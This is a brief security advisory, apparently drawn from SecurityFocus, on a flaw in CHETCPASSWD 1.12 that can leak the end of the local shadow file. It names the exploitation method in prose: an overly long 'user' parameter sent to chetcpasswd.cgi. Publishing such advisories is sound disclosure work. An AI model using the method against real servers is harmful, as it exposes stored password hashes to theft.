CHETCPASSWD 1.12 Shadow File Disclosure Vulnerability

                                                source: http://www.securityfocus.com/bid/6472/info

CHETCPASSWD is prone to a vulnerability that may potentially cause the tail end of the local shadow file to be disclosed to a remote attacker.

It is possible to exploit this issue by sending an overly long string as a value for the 'user' URI parameter in a request to the 'chetcpasswd.cgi'.
